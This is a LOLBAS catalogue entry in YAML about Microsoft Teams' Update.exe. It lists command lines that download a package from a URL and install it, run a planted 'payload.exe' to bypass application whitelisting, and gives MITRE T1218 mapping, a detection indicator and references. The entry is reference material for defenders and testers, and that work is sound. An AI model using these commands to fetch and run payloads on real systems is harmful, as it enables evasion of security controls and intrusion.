LOLBAS/yml/OtherMSBinaries/update.yml

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---
Name: Update.exe
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Description: Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.
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Author: 'Oddvar Moe'
Created: '2019-06-26'
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Commands:
- Command: Update.exe --download [url to package]
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Description: The above binary will go to url and look for RELEASES file and download the nuget package.
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Usecase: Download binary
Category: Download
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Privileges: User
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MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/
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OperatingSystem: Windows 7 and up with Microsoft Teams installed
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- Command: Update.exe --update [url to package]
Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
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Usecase: Download and execute binary
Category: AWL Bypass
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Privileges: User
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MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/
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OperatingSystem: Windows 7 and up with Microsoft Teams installed
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- Command: Update.exe --update [url to package]
Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
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Usecase: Download and execute binary
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Category: Execute
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Privileges: User
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MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/
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OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --updateRoolback=[url to package]
Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
Usecase: Download and execute binary
Category: AWL Bypass
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --updateRollback=[url to package]
Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
Usecase: Download and execute binary
Category: Execute
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows 7 and up with Microsoft Teams installed
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- Command: Update.exe --processStart payload.exe --process-start-args "whatever args"
Description: Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.
Usecase: Application Whitelisting Bypass
Category: AWL Bypass
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/wiki/Technique/T1218
OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --processStart payload.exe --process-start-args "whatever args"
Description: Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.
Usecase: Execute binary
Category: Execute
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/wiki/Technique/T1218
OperatingSystem: Windows 7 and up with Microsoft Teams installed
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Full_Path:
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- Path: '%localappdata%\Microsoft\Teams\update.exe'
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Code_Sample:
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- Code: https://github.com/jreegun/POC-s/tree/master/nuget-squirrel
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Detection:
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- IOC: Update.exe spawned an unknown process
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Resources:
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- Link: https://www.youtube.com/watch?v=rOP3hnkj7ls
- Link: https://twitter.com/reegun21/status/1144182772623269889
- Link: https://twitter.com/MrUn1k0d3r/status/1143928885211537408
- Link: http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/
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- Link: https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12
- Link: https://medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56
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Acknowledgement:
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- Person: Reegun J (OCBC Bank)
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Handle: '@reegun21'
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- Person: Mr.Un1k0d3r
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Handle: '@MrUn1k0d3r'
- Person: Adam
Handle: '@Hexacorn'
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---